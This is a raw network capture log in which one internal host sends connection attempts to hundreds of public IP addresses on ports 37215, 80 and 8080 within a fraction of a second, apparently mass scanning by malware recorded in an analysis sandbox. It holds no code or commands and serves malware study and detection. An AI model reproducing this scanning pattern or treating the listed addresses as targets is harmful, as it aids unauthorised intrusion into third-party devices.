Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.117.245.37
Mar 4, 2024 15:05:33.150104046 CET	47833	37215	192.168.2.13	41.194.245.7
Mar 4, 2024 15:05:33.150103092 CET	47833	37215	192.168.2.13	41.91.64.146
Mar 4, 2024 15:05:33.150131941 CET	47833	37215	192.168.2.13	41.210.203.235
Mar 4, 2024 15:05:33.150131941 CET	47833	37215	192.168.2.13	41.80.104.200
Mar 4, 2024 15:05:33.150131941 CET	47833	37215	192.168.2.13	41.121.141.192
Mar 4, 2024 15:05:33.150134087 CET	47833	37215	192.168.2.13	41.80.172.18
Mar 4, 2024 15:05:33.150134087 CET	47833	37215	192.168.2.13	41.15.103.158
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.20.197.141
Mar 4, 2024 15:05:33.150135994 CET	47833	37215	192.168.2.13	41.86.14.189
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.186.189.210
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.23.192.150
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.126.15.247
Mar 4, 2024 15:05:33.150135994 CET	47833	37215	192.168.2.13	41.133.219.111
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.187.219.20
Mar 4, 2024 15:05:33.150134087 CET	47833	37215	192.168.2.13	41.210.46.86
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.77.25.128
Mar 4, 2024 15:05:33.150135994 CET	47833	37215	192.168.2.13	41.163.45.136
Mar 4, 2024 15:05:33.150134087 CET	47833	37215	192.168.2.13	41.58.49.68
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.152.197.136
Mar 4, 2024 15:05:33.150135040 CET	47833	37215	192.168.2.13	41.146.47.240
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.91.119.14
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.129.146.242
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.145.77.52
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.119.215.151
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.87.60.183
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.153.120.33
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.22.156.226
Mar 4, 2024 15:05:33.150218010 CET	47833	37215	192.168.2.13	41.42.231.137
Mar 4, 2024 15:05:33.150227070 CET	47833	37215	192.168.2.13	41.77.192.211
Mar 4, 2024 15:05:33.150227070 CET	47833	37215	192.168.2.13	41.157.183.177
Mar 4, 2024 15:05:33.150227070 CET	47833	37215	192.168.2.13	41.62.56.236
Mar 4, 2024 15:05:33.150300980 CET	47833	37215	192.168.2.13	41.70.99.154
Mar 4, 2024 15:05:33.160974026 CET	48089	80	192.168.2.13	112.64.43.118
Mar 4, 2024 15:05:33.160974026 CET	48089	80	192.168.2.13	112.17.247.75
Mar 4, 2024 15:05:33.160978079 CET	48089	80	192.168.2.13	112.2.52.174
Mar 4, 2024 15:05:33.160978079 CET	48089	80	192.168.2.13	112.31.70.167
Mar 4, 2024 15:05:33.160988092 CET	48089	80	192.168.2.13	112.7.33.165
Mar 4, 2024 15:05:33.160993099 CET	48089	80	192.168.2.13	112.37.121.233
Mar 4, 2024 15:05:33.160995960 CET	48089	80	192.168.2.13	112.192.242.154
Mar 4, 2024 15:05:33.161001921 CET	48089	80	192.168.2.13	112.196.207.200
Mar 4, 2024 15:05:33.161005020 CET	48089	80	192.168.2.13	112.93.247.77
Mar 4, 2024 15:05:33.161027908 CET	48089	80	192.168.2.13	112.158.35.84
Mar 4, 2024 15:05:33.161046028 CET	48089	80	192.168.2.13	112.204.42.140
Mar 4, 2024 15:05:33.161073923 CET	48089	80	192.168.2.13	112.115.48.52
Mar 4, 2024 15:05:33.161106110 CET	48089	80	192.168.2.13	112.179.85.244
Mar 4, 2024 15:05:33.161123037 CET	48089	80	192.168.2.13	112.55.76.119
Mar 4, 2024 15:05:33.161153078 CET	48089	80	192.168.2.13	112.159.26.42
Mar 4, 2024 15:05:33.161183119 CET	48089	80	192.168.2.13	112.142.215.118
Mar 4, 2024 15:05:33.161209106 CET	48089	80	192.168.2.13	112.226.127.146
Mar 4, 2024 15:05:33.161240101 CET	48089	80	192.168.2.13	112.4.100.177
Mar 4, 2024 15:05:33.161251068 CET	48089	80	192.168.2.13	112.73.37.155
Mar 4, 2024 15:05:33.161278963 CET	48089	80	192.168.2.13	112.104.220.27
Mar 4, 2024 15:05:33.161314011 CET	48089	80	192.168.2.13	112.107.190.64
Mar 4, 2024 15:05:33.161336899 CET	48089	80	192.168.2.13	112.127.218.81
Mar 4, 2024 15:05:33.161366940 CET	48089	80	192.168.2.13	112.104.5.23
Mar 4, 2024 15:05:33.161401987 CET	48089	80	192.168.2.13	112.160.76.200
Mar 4, 2024 15:05:33.161427975 CET	48089	80	192.168.2.13	112.112.194.3
Mar 4, 2024 15:05:33.161444902 CET	48089	80	192.168.2.13	112.178.157.207
Mar 4, 2024 15:05:33.161478996 CET	48089	80	192.168.2.13	112.34.71.162
Mar 4, 2024 15:05:33.161495924 CET	48089	80	192.168.2.13	112.102.131.42
Mar 4, 2024 15:05:33.161515951 CET	48089	80	192.168.2.13	112.188.241.181
Mar 4, 2024 15:05:33.161544085 CET	48089	80	192.168.2.13	112.246.116.241
Mar 4, 2024 15:05:33.161567926 CET	48089	80	192.168.2.13	112.227.135.23
Mar 4, 2024 15:05:33.161596060 CET	48089	80	192.168.2.13	112.2.73.59
Mar 4, 2024 15:05:33.161627054 CET	48089	80	192.168.2.13	112.135.87.75
Mar 4, 2024 15:05:33.161660910 CET	48089	80	192.168.2.13	112.179.67.106
Mar 4, 2024 15:05:33.161700010 CET	48089	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:33.161712885 CET	48089	80	192.168.2.13	112.41.222.94
Mar 4, 2024 15:05:33.161732912 CET	48089	80	192.168.2.13	112.226.199.18
Mar 4, 2024 15:05:33.161772966 CET	48089	80	192.168.2.13	112.123.137.37
Mar 4, 2024 15:05:33.161803961 CET	48089	80	192.168.2.13	112.250.194.200
Mar 4, 2024 15:05:33.161824942 CET	48089	80	192.168.2.13	112.8.142.22
Mar 4, 2024 15:05:33.161855936 CET	48089	80	192.168.2.13	112.121.56.99
Mar 4, 2024 15:05:33.161885023 CET	48089	80	192.168.2.13	112.155.175.86
Mar 4, 2024 15:05:33.161914110 CET	48089	80	192.168.2.13	112.115.41.229
Mar 4, 2024 15:05:33.161943913 CET	48089	80	192.168.2.13	112.83.33.204
Mar 4, 2024 15:05:33.161966085 CET	48089	80	192.168.2.13	112.25.219.220
Mar 4, 2024 15:05:33.162010908 CET	48089	80	192.168.2.13	112.111.188.102
Mar 4, 2024 15:05:33.162030935 CET	48089	80	192.168.2.13	112.157.65.121
Mar 4, 2024 15:05:33.162053108 CET	48089	80	192.168.2.13	112.156.79.192
Mar 4, 2024 15:05:33.162074089 CET	48089	80	192.168.2.13	112.106.207.173
Mar 4, 2024 15:05:33.162091970 CET	48089	80	192.168.2.13	112.241.152.52
Mar 4, 2024 15:05:33.162101030 CET	47577	8080	192.168.2.13	95.235.31.39
Mar 4, 2024 15:05:33.162117004 CET	47577	8080	192.168.2.13	31.134.146.220
Mar 4, 2024 15:05:33.162117004 CET	47577	8080	192.168.2.13	62.177.165.1
Mar 4, 2024 15:05:33.162118912 CET	47577	8080	192.168.2.13	94.10.47.122
Mar 4, 2024 15:05:33.162125111 CET	47577	8080	192.168.2.13	94.11.87.104
Mar 4, 2024 15:05:33.162125111 CET	47577	8080	192.168.2.13	94.63.178.217
Mar 4, 2024 15:05:33.162132025 CET	47577	8080	192.168.2.13	62.180.102.238
Mar 4, 2024 15:05:33.162133932 CET	47577	8080	192.168.2.13	85.187.61.189
Mar 4, 2024 15:05:33.162134886 CET	47577	8080	192.168.2.13	94.186.63.200
Mar 4, 2024 15:05:33.162141085 CET	47577	8080	192.168.2.13	95.116.81.208
Mar 4, 2024 15:05:33.162142038 CET	47577	8080	192.168.2.13	95.244.254.191
Mar 4, 2024 15:05:33.162144899 CET	47577	8080	192.168.2.13	62.119.41.186
Mar 4, 2024 15:05:33.162144899 CET	47577	8080	192.168.2.13	95.240.39.148
Mar 4, 2024 15:05:33.162146091 CET	47577	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:33.162147045 CET	47577	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:33.162148952 CET	47577	8080	192.168.2.13	85.152.189.71
Mar 4, 2024 15:05:33.162148952 CET	47577	8080	192.168.2.13	94.54.230.162
Mar 4, 2024 15:05:33.162148952 CET	47577	8080	192.168.2.13	31.4.105.172
Mar 4, 2024 15:05:33.162156105 CET	47577	8080	192.168.2.13	85.163.167.202
Mar 4, 2024 15:05:33.162161112 CET	47577	8080	192.168.2.13	62.31.53.61
Mar 4, 2024 15:05:33.162161112 CET	47577	8080	192.168.2.13	85.200.244.35
Mar 4, 2024 15:05:33.162161112 CET	47577	8080	192.168.2.13	62.141.217.15
Mar 4, 2024 15:05:33.162163019 CET	47577	8080	192.168.2.13	95.100.131.103
Mar 4, 2024 15:05:33.162163019 CET	47577	8080	192.168.2.13	95.145.170.28
Mar 4, 2024 15:05:33.162169933 CET	47577	8080	192.168.2.13	31.235.154.164
Mar 4, 2024 15:05:33.162169933 CET	47577	8080	192.168.2.13	94.250.66.73
Mar 4, 2024 15:05:33.162170887 CET	47577	8080	192.168.2.13	94.216.150.52
Mar 4, 2024 15:05:33.162170887 CET	47577	8080	192.168.2.13	94.10.112.5
Mar 4, 2024 15:05:33.162173986 CET	47577	8080	192.168.2.13	94.80.60.191
Mar 4, 2024 15:05:33.162173986 CET	48089	80	192.168.2.13	112.159.236.177
Mar 4, 2024 15:05:33.162173986 CET	47577	8080	192.168.2.13	94.41.203.126
Mar 4, 2024 15:05:33.162173986 CET	47577	8080	192.168.2.13	62.220.144.87
Mar 4, 2024 15:05:33.162179947 CET	47577	8080	192.168.2.13	95.29.101.102
Mar 4, 2024 15:05:33.162179947 CET	47577	8080	192.168.2.13	31.253.140.49
Mar 4, 2024 15:05:33.162192106 CET	47577	8080	192.168.2.13	31.117.60.31
Mar 4, 2024 15:05:33.162195921 CET	47577	8080	192.168.2.13	62.14.113.75
Mar 4, 2024 15:05:33.162195921 CET	47577	8080	192.168.2.13	95.136.90.93
Mar 4, 2024 15:05:33.162195921 CET	47577	8080	192.168.2.13	31.34.110.212
Mar 4, 2024 15:05:33.162200928 CET	47577	8080	192.168.2.13	31.113.255.0
Mar 4, 2024 15:05:33.162200928 CET	47577	8080	192.168.2.13	62.204.174.244
Mar 4, 2024 15:05:33.162200928 CET	47577	8080	192.168.2.13	95.91.88.54
Mar 4, 2024 15:05:33.162204027 CET	47577	8080	192.168.2.13	85.163.153.81
Mar 4, 2024 15:05:33.162205935 CET	47577	8080	192.168.2.13	85.125.1.119
Mar 4, 2024 15:05:33.162205935 CET	47577	8080	192.168.2.13	85.189.106.172
Mar 4, 2024 15:05:33.162206888 CET	47577	8080	192.168.2.13	94.100.169.126
Mar 4, 2024 15:05:33.162205935 CET	47577	8080	192.168.2.13	85.247.73.22
Mar 4, 2024 15:05:33.162206888 CET	47577	8080	192.168.2.13	85.32.209.100
Mar 4, 2024 15:05:33.162206888 CET	47577	8080	192.168.2.13	62.146.51.14
Mar 4, 2024 15:05:33.162209988 CET	47577	8080	192.168.2.13	85.73.48.6
Mar 4, 2024 15:05:33.162209988 CET	47577	8080	192.168.2.13	95.87.75.235
Mar 4, 2024 15:05:33.162209988 CET	47577	8080	192.168.2.13	95.139.250.184
Mar 4, 2024 15:05:33.162221909 CET	47577	8080	192.168.2.13	85.72.8.140
Mar 4, 2024 15:05:33.162226915 CET	47577	8080	192.168.2.13	62.165.223.190
Mar 4, 2024 15:05:33.162226915 CET	47577	8080	192.168.2.13	94.138.186.132
Mar 4, 2024 15:05:33.162228107 CET	47577	8080	192.168.2.13	85.6.106.177
Mar 4, 2024 15:05:33.162228107 CET	47577	8080	192.168.2.13	94.124.187.169
Mar 4, 2024 15:05:33.162228107 CET	47577	8080	192.168.2.13	95.175.233.85
Mar 4, 2024 15:05:33.162234068 CET	47577	8080	192.168.2.13	62.122.224.71
Mar 4, 2024 15:05:33.162234068 CET	47577	8080	192.168.2.13	94.253.7.129
Mar 4, 2024 15:05:33.162234068 CET	47577	8080	192.168.2.13	85.58.75.110
Mar 4, 2024 15:05:33.162234068 CET	47577	8080	192.168.2.13	94.170.216.70
Mar 4, 2024 15:05:33.162236929 CET	47577	8080	192.168.2.13	95.115.8.101
Mar 4, 2024 15:05:33.162240028 CET	47577	8080	192.168.2.13	94.48.47.155
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	62.2.135.7
Mar 4, 2024 15:05:33.162240028 CET	47577	8080	192.168.2.13	95.102.0.71
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	95.14.79.167
Mar 4, 2024 15:05:33.162240028 CET	47577	8080	192.168.2.13	94.36.245.164
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	31.29.143.235
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	95.52.79.0
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	31.190.181.79
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	31.8.43.67
Mar 4, 2024 15:05:33.162244081 CET	47577	8080	192.168.2.13	85.239.63.169
Mar 4, 2024 15:05:33.162240982 CET	47577	8080	192.168.2.13	31.248.5.235
Mar 4, 2024 15:05:33.162244081 CET	47577	8080	192.168.2.13	31.116.146.180
Mar 4, 2024 15:05:33.162244081 CET	47577	8080	192.168.2.13	94.179.225.210
Mar 4, 2024 15:05:33.162246943 CET	47577	8080	192.168.2.13	85.85.125.77
Mar 4, 2024 15:05:33.162254095 CET	47577	8080	192.168.2.13	31.2.246.169
Mar 4, 2024 15:05:33.162254095 CET	47577	8080	192.168.2.13	94.125.92.91
Mar 4, 2024 15:05:33.162254095 CET	47577	8080	192.168.2.13	31.94.99.176
Mar 4, 2024 15:05:33.162254095 CET	47577	8080	192.168.2.13	62.100.173.156
Mar 4, 2024 15:05:33.162277937 CET	47577	8080	192.168.2.13	62.10.51.170
Mar 4, 2024 15:05:33.162281990 CET	47577	8080	192.168.2.13	95.103.198.155
Mar 4, 2024 15:05:33.162286043 CET	47577	8080	192.168.2.13	85.33.34.190
Mar 4, 2024 15:05:33.162288904 CET	47577	8080	192.168.2.13	95.222.176.46
Mar 4, 2024 15:05:33.162292957 CET	47577	8080	192.168.2.13	31.179.155.70
Mar 4, 2024 15:05:33.162311077 CET	47577	8080	192.168.2.13	94.56.186.83
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	31.159.129.75
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	95.103.192.11
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	85.135.2.9
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	31.189.227.14
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	62.67.60.144
Mar 4, 2024 15:05:33.162312984 CET	47577	8080	192.168.2.13	85.106.231.39
Mar 4, 2024 15:05:33.162317038 CET	47577	8080	192.168.2.13	31.172.50.3
Mar 4, 2024 15:05:33.162317038 CET	47577	8080	192.168.2.13	95.107.251.225
Mar 4, 2024 15:05:33.162317991 CET	47577	8080	192.168.2.13	85.113.53.18
Mar 4, 2024 15:05:33.162319899 CET	47577	8080	192.168.2.13	94.72.173.78
Mar 4, 2024 15:05:33.162323952 CET	47577	8080	192.168.2.13	62.81.220.219
Mar 4, 2024 15:05:33.162323952 CET	47577	8080	192.168.2.13	85.231.170.68
Mar 4, 2024 15:05:33.162326097 CET	48089	80	192.168.2.13	112.196.142.152
Mar 4, 2024 15:05:33.162329912 CET	47577	8080	192.168.2.13	62.115.35.84
Mar 4, 2024 15:05:33.162333012 CET	47577	8080	192.168.2.13	94.19.118.106
Mar 4, 2024 15:05:33.162354946 CET	47577	8080	192.168.2.13	31.245.146.142
Mar 4, 2024 15:05:33.162353992 CET	47577	8080	192.168.2.13	85.217.225.179
Mar 4, 2024 15:05:33.162357092 CET	47577	8080	192.168.2.13	62.227.176.111
Mar 4, 2024 15:05:33.162353992 CET	47577	8080	192.168.2.13	85.199.134.54
Mar 4, 2024 15:05:33.162354946 CET	47577	8080	192.168.2.13	62.254.143.48
Mar 4, 2024 15:05:33.162358999 CET	47577	8080	192.168.2.13	95.89.125.210
Mar 4, 2024 15:05:33.162360907 CET	47577	8080	192.168.2.13	95.74.134.196
Mar 4, 2024 15:05:33.162364006 CET	47577	8080	192.168.2.13	31.211.164.20
Mar 4, 2024 15:05:33.162367105 CET	47577	8080	192.168.2.13	31.21.42.3
Mar 4, 2024 15:05:33.162367105 CET	47577	8080	192.168.2.13	94.65.69.19
Mar 4, 2024 15:05:33.162372112 CET	47577	8080	192.168.2.13	94.107.244.29
Mar 4, 2024 15:05:33.162374020 CET	47577	8080	192.168.2.13	62.161.110.214
Mar 4, 2024 15:05:33.162375927 CET	47577	8080	192.168.2.13	85.49.162.86
Mar 4, 2024 15:05:33.162380934 CET	47577	8080	192.168.2.13	95.1.188.141
Mar 4, 2024 15:05:33.162380934 CET	47577	8080	192.168.2.13	62.35.112.148
Mar 4, 2024 15:05:33.162384987 CET	47577	8080	192.168.2.13	31.178.29.29
Mar 4, 2024 15:05:33.162386894 CET	47577	8080	192.168.2.13	31.119.157.72
Mar 4, 2024 15:05:33.162386894 CET	47577	8080	192.168.2.13	85.175.2.49
Mar 4, 2024 15:05:33.162389994 CET	47577	8080	192.168.2.13	95.151.89.80
Mar 4, 2024 15:05:33.162389994 CET	47577	8080	192.168.2.13	95.120.235.58
Mar 4, 2024 15:05:33.162389994 CET	47577	8080	192.168.2.13	62.250.27.220
Mar 4, 2024 15:05:33.162395000 CET	47577	8080	192.168.2.13	62.33.93.50
Mar 4, 2024 15:05:33.162398100 CET	47577	8080	192.168.2.13	85.5.215.167
Mar 4, 2024 15:05:33.162398100 CET	47577	8080	192.168.2.13	94.188.199.77
Mar 4, 2024 15:05:33.162404060 CET	47577	8080	192.168.2.13	31.119.224.193
Mar 4, 2024 15:05:33.162404060 CET	47577	8080	192.168.2.13	62.200.130.43
Mar 4, 2024 15:05:33.162409067 CET	47577	8080	192.168.2.13	62.122.43.140
Mar 4, 2024 15:05:33.162408113 CET	47577	8080	192.168.2.13	31.104.225.193
Mar 4, 2024 15:05:33.162420988 CET	47577	8080	192.168.2.13	31.151.22.111
Mar 4, 2024 15:05:33.162420988 CET	47577	8080	192.168.2.13	95.28.120.199
Mar 4, 2024 15:05:33.162424088 CET	47577	8080	192.168.2.13	95.9.26.82
Mar 4, 2024 15:05:33.162424088 CET	47577	8080	192.168.2.13	94.126.21.226
Mar 4, 2024 15:05:33.162425041 CET	47577	8080	192.168.2.13	85.173.199.165
Mar 4, 2024 15:05:33.162425995 CET	47577	8080	192.168.2.13	94.68.48.232
Mar 4, 2024 15:05:33.162425995 CET	47577	8080	192.168.2.13	85.112.39.243
Mar 4, 2024 15:05:33.162439108 CET	47577	8080	192.168.2.13	85.243.118.5
Mar 4, 2024 15:05:33.162439108 CET	47577	8080	192.168.2.13	85.218.66.251
Mar 4, 2024 15:05:33.162442923 CET	47577	8080	192.168.2.13	85.62.85.174
Mar 4, 2024 15:05:33.162446022 CET	47577	8080	192.168.2.13	62.214.80.164
Mar 4, 2024 15:05:33.162447929 CET	47577	8080	192.168.2.13	85.72.149.52
Mar 4, 2024 15:05:33.162451982 CET	47577	8080	192.168.2.13	85.161.52.152
Mar 4, 2024 15:05:33.162462950 CET	47577	8080	192.168.2.13	95.240.59.193
Mar 4, 2024 15:05:33.162467957 CET	47577	8080	192.168.2.13	85.217.158.55
Mar 4, 2024 15:05:33.162467957 CET	47577	8080	192.168.2.13	62.245.179.70
Mar 4, 2024 15:05:33.162476063 CET	47577	8080	192.168.2.13	31.131.177.164
Mar 4, 2024 15:05:33.162476063 CET	47577	8080	192.168.2.13	31.203.154.41
Mar 4, 2024 15:05:33.162477970 CET	47577	8080	192.168.2.13	94.51.100.95
Mar 4, 2024 15:05:33.162482977 CET	47577	8080	192.168.2.13	31.42.204.116
Mar 4, 2024 15:05:33.162497997 CET	47577	8080	192.168.2.13	94.92.41.253
Mar 4, 2024 15:05:33.162506104 CET	48089	80	192.168.2.13	112.87.210.23
Mar 4, 2024 15:05:33.162511110 CET	47577	8080	192.168.2.13	62.164.104.127
Mar 4, 2024 15:05:33.162511110 CET	47577	8080	192.168.2.13	94.168.229.157
Mar 4, 2024 15:05:33.162513971 CET	47577	8080	192.168.2.13	85.161.224.225
Mar 4, 2024 15:05:33.162513971 CET	47577	8080	192.168.2.13	31.145.168.215
Mar 4, 2024 15:05:33.162527084 CET	47577	8080	192.168.2.13	62.212.245.11
Mar 4, 2024 15:05:33.162527084 CET	47577	8080	192.168.2.13	95.15.116.53
Mar 4, 2024 15:05:33.162527084 CET	47577	8080	192.168.2.13	31.100.42.161
Mar 4, 2024 15:05:33.162530899 CET	47577	8080	192.168.2.13	31.188.237.194
Mar 4, 2024 15:05:33.162534952 CET	47577	8080	192.168.2.13	62.189.114.183
Mar 4, 2024 15:05:33.162534952 CET	47577	8080	192.168.2.13	85.187.135.40
Mar 4, 2024 15:05:33.162545919 CET	47577	8080	192.168.2.13	31.160.62.4
Mar 4, 2024 15:05:33.162549973 CET	47577	8080	192.168.2.13	31.157.72.125
Mar 4, 2024 15:05:33.162549973 CET	47577	8080	192.168.2.13	95.177.93.111
Mar 4, 2024 15:05:33.162549973 CET	47577	8080	192.168.2.13	95.141.185.131
Mar 4, 2024 15:05:33.162554979 CET	47577	8080	192.168.2.13	94.59.136.239
Mar 4, 2024 15:05:33.162559032 CET	47577	8080	192.168.2.13	95.14.178.28
Mar 4, 2024 15:05:33.162560940 CET	47577	8080	192.168.2.13	94.229.21.206
Mar 4, 2024 15:05:33.162564039 CET	47577	8080	192.168.2.13	62.120.244.80
Mar 4, 2024 15:05:33.162564039 CET	47577	8080	192.168.2.13	95.33.50.47
Mar 4, 2024 15:05:33.162564039 CET	47577	8080	192.168.2.13	62.182.9.46
Mar 4, 2024 15:05:33.162565947 CET	47577	8080	192.168.2.13	85.189.66.3
Mar 4, 2024 15:05:33.162566900 CET	47577	8080	192.168.2.13	31.176.241.190
Mar 4, 2024 15:05:33.162578106 CET	47577	8080	192.168.2.13	85.145.54.117
Mar 4, 2024 15:05:33.162578106 CET	47577	8080	192.168.2.13	94.84.137.23
Mar 4, 2024 15:05:33.162578106 CET	47577	8080	192.168.2.13	85.36.11.78
Mar 4, 2024 15:05:33.162579060 CET	47577	8080	192.168.2.13	31.13.239.179
Mar 4, 2024 15:05:33.162579060 CET	47577	8080	192.168.2.13	94.36.37.224
Mar 4, 2024 15:05:33.162580013 CET	47577	8080	192.168.2.13	95.37.52.230
Mar 4, 2024 15:05:33.162595987 CET	47577	8080	192.168.2.13	31.144.208.52
Mar 4, 2024 15:05:33.162597895 CET	47577	8080	192.168.2.13	85.40.247.225
Mar 4, 2024 15:05:33.162587881 CET	47577	8080	192.168.2.13	31.55.66.118
Mar 4, 2024 15:05:33.162600040 CET	47577	8080	192.168.2.13	31.156.74.137
Mar 4, 2024 15:05:33.162587881 CET	47577	8080	192.168.2.13	62.118.109.128
Mar 4, 2024 15:05:33.162597895 CET	47577	8080	192.168.2.13	62.112.168.21
Mar 4, 2024 15:05:33.162597895 CET	47577	8080	192.168.2.13	95.59.179.157
Mar 4, 2024 15:05:33.162589073 CET	47577	8080	192.168.2.13	62.216.130.145
Mar 4, 2024 15:05:33.162589073 CET	47577	8080	192.168.2.13	94.128.15.4
Mar 4, 2024 15:05:33.162589073 CET	47577	8080	192.168.2.13	31.145.71.72
Mar 4, 2024 15:05:33.162602901 CET	47577	8080	192.168.2.13	85.62.40.212
Mar 4, 2024 15:05:33.162604094 CET	47577	8080	192.168.2.13	31.54.27.55
Mar 4, 2024 15:05:33.162606955 CET	47577	8080	192.168.2.13	62.6.33.106
Mar 4, 2024 15:05:33.162607908 CET	47577	8080	192.168.2.13	94.227.243.236
Mar 4, 2024 15:05:33.162607908 CET	47577	8080	192.168.2.13	95.148.72.18
Mar 4, 2024 15:05:33.162607908 CET	47577	8080	192.168.2.13	95.216.110.105
Mar 4, 2024 15:05:33.162616968 CET	47577	8080	192.168.2.13	62.66.78.228
Mar 4, 2024 15:05:33.162616968 CET	47577	8080	192.168.2.13	31.131.121.211
Mar 4, 2024 15:05:33.162616968 CET	47577	8080	192.168.2.13	94.3.97.126
Mar 4, 2024 15:05:33.162616968 CET	47577	8080	192.168.2.13	62.179.70.50
Mar 4, 2024 15:05:33.162616968 CET	47577	8080	192.168.2.13	94.86.124.186
Mar 4, 2024 15:05:33.162623882 CET	47577	8080	192.168.2.13	94.241.135.153
Mar 4, 2024 15:05:33.162623882 CET	47577	8080	192.168.2.13	95.86.226.53
Mar 4, 2024 15:05:33.162623882 CET	47577	8080	192.168.2.13	62.31.111.168
Mar 4, 2024 15:05:33.162623882 CET	47577	8080	192.168.2.13	62.248.189.181
Mar 4, 2024 15:05:33.162626028 CET	47577	8080	192.168.2.13	85.231.43.0
Mar 4, 2024 15:05:33.162626982 CET	47577	8080	192.168.2.13	95.216.93.146
Mar 4, 2024 15:05:33.162631035 CET	47577	8080	192.168.2.13	62.222.152.82
Mar 4, 2024 15:05:33.162631035 CET	47577	8080	192.168.2.13	95.145.127.94
Mar 4, 2024 15:05:33.162636995 CET	47577	8080	192.168.2.13	94.177.184.210
Mar 4, 2024 15:05:33.162636995 CET	47577	8080	192.168.2.13	85.105.193.81
Mar 4, 2024 15:05:33.162637949 CET	47577	8080	192.168.2.13	85.152.90.203
Mar 4, 2024 15:05:33.162640095 CET	47577	8080	192.168.2.13	95.162.87.115
Mar 4, 2024 15:05:33.162645102 CET	47577	8080	192.168.2.13	62.175.216.72
Mar 4, 2024 15:05:33.162645102 CET	47577	8080	192.168.2.13	62.140.91.187
Mar 4, 2024 15:05:33.162648916 CET	47577	8080	192.168.2.13	62.231.17.197
Mar 4, 2024 15:05:33.162648916 CET	47577	8080	192.168.2.13	94.29.255.13
Mar 4, 2024 15:05:33.162652969 CET	47577	8080	192.168.2.13	85.108.78.44
Mar 4, 2024 15:05:33.162652969 CET	47577	8080	192.168.2.13	62.205.243.44
Mar 4, 2024 15:05:33.162657976 CET	47577	8080	192.168.2.13	95.197.3.120
Mar 4, 2024 15:05:33.162658930 CET	47577	8080	192.168.2.13	62.165.127.136
Mar 4, 2024 15:05:33.162658930 CET	47577	8080	192.168.2.13	31.227.190.76
Mar 4, 2024 15:05:33.162657976 CET	47577	8080	192.168.2.13	31.0.102.178
Mar 4, 2024 15:05:33.162657976 CET	47577	8080	192.168.2.13	94.100.226.111
Mar 4, 2024 15:05:33.162657976 CET	48089	80	192.168.2.13	112.218.185.253
Mar 4, 2024 15:05:33.162662983 CET	47577	8080	192.168.2.13	94.21.228.136
Mar 4, 2024 15:05:33.162657976 CET	47577	8080	192.168.2.13	85.204.49.164
Mar 4, 2024 15:05:33.162669897 CET	47577	8080	192.168.2.13	62.180.203.58
Mar 4, 2024 15:05:33.162673950 CET	47577	8080	192.168.2.13	94.44.102.75
Mar 4, 2024 15:05:33.162673950 CET	47577	8080	192.168.2.13	31.246.182.116
Mar 4, 2024 15:05:33.162673950 CET	47577	8080	192.168.2.13	31.114.87.210
Mar 4, 2024 15:05:33.162673950 CET	47577	8080	192.168.2.13	95.211.87.128
Mar 4, 2024 15:05:33.162679911 CET	48089	80	192.168.2.13	112.243.63.34
Mar 4, 2024 15:05:33.162681103 CET	47577	8080	192.168.2.13	85.240.133.162
Mar 4, 2024 15:05:33.162700891 CET	47577	8080	192.168.2.13	31.80.11.241
Mar 4, 2024 15:05:33.162700891 CET	47577	8080	192.168.2.13	31.170.107.175
Mar 4, 2024 15:05:33.162703037 CET	47577	8080	192.168.2.13	85.18.250.55
Mar 4, 2024 15:05:33.162703037 CET	47577	8080	192.168.2.13	31.198.150.146
Mar 4, 2024 15:05:33.162708998 CET	47577	8080	192.168.2.13	95.230.203.64
Mar 4, 2024 15:05:33.162710905 CET	47577	8080	192.168.2.13	94.157.116.230
Mar 4, 2024 15:05:33.162719965 CET	47577	8080	192.168.2.13	94.16.105.10
Mar 4, 2024 15:05:33.162720919 CET	47577	8080	192.168.2.13	94.65.79.173
Mar 4, 2024 15:05:33.162720919 CET	47577	8080	192.168.2.13	95.77.80.242
Mar 4, 2024 15:05:33.162725925 CET	47577	8080	192.168.2.13	62.181.79.53
Mar 4, 2024 15:05:33.162725925 CET	47577	8080	192.168.2.13	95.95.127.216
Mar 4, 2024 15:05:33.162729979 CET	47577	8080	192.168.2.13	95.207.72.213
Mar 4, 2024 15:05:33.162729979 CET	47577	8080	192.168.2.13	94.70.225.197
Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	62.226.9.42
Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	95.166.117.223
Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	31.173.99.120
Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	95.141.89.47
Mar 4, 2024 15:05:33.162731886 CET	47577	8080	192.168.2.13	85.158.223.222
